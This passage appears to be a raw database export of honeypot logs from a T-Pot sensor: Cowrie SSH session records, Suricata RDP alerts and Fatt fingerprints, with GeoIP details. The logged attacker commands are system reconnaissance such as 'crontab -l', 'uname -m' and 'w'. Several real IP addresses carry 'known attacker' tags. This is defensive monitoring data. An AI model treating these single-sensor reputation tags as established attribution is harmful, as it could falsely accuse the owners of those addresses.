"t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19842	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:47.488204+03	2021-09-20 14:15:01.621613+03	{"_id": "TgXdAnwBvYTbRNuEkvVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 624}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:47.488204Z", "@timestamp": "2021-09-20T11:00:47.488Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19843	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:01:05.34201+03	2021-09-20 14:15:01.622612+03	{"_id": "uQXdAnwBvYTbRNuE2PWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:05.270115+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 354267859853091, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11589, "dest_port": 3389, "timestamp": "2021-09-20T11:01:05.342010Z", "@timestamp": "2021-09-20T11:01:05.342Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19844	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:01:05.475786+03	2021-09-20 14:15:01.623612+03	{"_id": "uAXdAnwBvYTbRNuE2PWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:05.270115+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 354267859853091, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 11589, "timestamp": "2021-09-20T11:01:05.475786Z", "@timestamp": "2021-09-20T11:01:05.475Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
19845	94.232.41.165	109.199.241.180	Fatt	2021-09-20 14:01:05.34201+03	2021-09-20 14:15:01.625612+03	{"_id": "ugXdAnwBvYTbRNuE2fVA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 11589, "dest_port": 3389, "timestamp": "2021-09-20T11:01:05.342010", "@timestamp": "2021-09-20T11:01:05.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
19846	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:04.940996+03	2021-09-20 14:15:01.626613+03	{"_id": "vQXdAnwBvYTbRNuE2fXO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:04.940996Z", "@timestamp": "2021-09-20T11:01:04.940Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19847	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:04.941541+03	2021-09-20 14:15:01.627614+03	{"_id": "vgXdAnwBvYTbRNuE2fXO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:04.941541Z", "@timestamp": "2021-09-20T11:01:04.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20137	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:28.972841+03	2021-09-20 14:15:02.003612+03	{"_id": "GgXgAnwBvYTbRNuECPid", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:28.972841Z", "@timestamp": "2021-09-20T11:03:28.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19848	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:05.503516+03	2021-09-20 14:15:01.628612+03	{"_id": "wgXdAnwBvYTbRNuE2vUX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "119.29.153.168", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5626423358917236, "duplicate": true, "timestamp": "2021-09-20T11:01:05.503516Z", "@timestamp": "2021-09-20T11:01:05.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19849	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:05.896101+03	2021-09-20 14:15:01.629614+03	{"_id": "wwXdAnwBvYTbRNuE2vUX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:05.896101Z", "@timestamp": "2021-09-20T11:01:05.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19850	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:05.896662+03	2021-09-20 14:15:01.631613+03	{"_id": "xAXdAnwBvYTbRNuE2vUX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:05.896662Z", "@timestamp": "2021-09-20T11:01:05.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19851	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:06.461845+03	2021-09-20 14:15:01.632613+03	{"_id": "xQXdAnwBvYTbRNuE3fVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "119.29.153.168", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5658411979675293, "duplicate": true, "timestamp": "2021-09-20T11:01:06.461845Z", "@timestamp": "2021-09-20T11:01:06.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19852	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:07.842019+03	2021-09-20 14:15:01.633613+03	{"_id": "ygXdAnwBvYTbRNuE4fVJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:07.842019Z", "@timestamp": "2021-09-20T11:01:07.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19853	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:08.834453+03	2021-09-20 14:15:01.634613+03	{"_id": "zgXdAnwBvYTbRNuE5fUy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:08.834453Z", "@timestamp": "2021-09-20T11:01:08.834Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19854	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:08.83501+03	2021-09-20 14:15:01.636613+03	{"_id": "zwXdAnwBvYTbRNuE5fUy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:08.835010Z", "@timestamp": "2021-09-20T11:01:08.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19855	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:09.799434+03	2021-09-20 14:15:01.637613+03	{"_id": "0AXdAnwBvYTbRNuE6fUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:09.799434Z", "@timestamp": "2021-09-20T11:01:09.799Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19856	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:09.79889+03	2021-09-20 14:15:01.638613+03	{"_id": "2QXdAnwBvYTbRNuE6fVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:09.798890Z", "@timestamp": "2021-09-20T11:01:09.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19857	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:09.40073+03	2021-09-20 14:15:01.639614+03	{"_id": "1gXdAnwBvYTbRNuE6fVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "119.29.153.168", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5663561820983887, "duplicate": true, "timestamp": "2021-09-20T11:01:09.400730Z", "@timestamp": "2021-09-20T11:01:09.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19858	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:01:05.34201+03	2021-09-20 14:15:01.640613+03	{"_id": "twXdAnwBvYTbRNuE2PWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:05.270115+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 354267859853091, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11589, "dest_port": 3389, "timestamp": "2021-09-20T11:01:05.342010Z", "@timestamp": "2021-09-20T11:01:05.342Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20223	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:03.917709+03	2021-09-20 14:15:02.114642+03	{"_id": "gQXeAnwBvYTbRNuEv_Y5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 5019, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "AAAA"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 109023083561165, "@version": "1", "in_iface": "enp5s0", "src_port": 52710, "dest_port": 53, "timestamp": "2021-09-20T11:02:03.917709Z", "@timestamp": "2021-09-20T11:02:03.917Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19859	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:01:05.547048+03	2021-09-20 14:15:01.642613+03	{"_id": "tgXdAnwBvYTbRNuE2PWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:01:05.270115+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 354267859853091, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 11589, "dest_port": 3389, "timestamp": "2021-09-20T11:01:05.547048Z", "@timestamp": "2021-09-20T11:01:05.547Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
19860	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:06.892475+03	2021-09-20 14:15:01.643612+03	{"_id": "xgXdAnwBvYTbRNuE3fVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:06.892475Z", "@timestamp": "2021-09-20T11:01:06.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19861	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:01:06.893021+03	2021-09-20 14:15:01.644613+03	{"_id": "xwXdAnwBvYTbRNuE3fVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:01:06.893021Z", "@timestamp": "2021-09-20T11:01:06.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
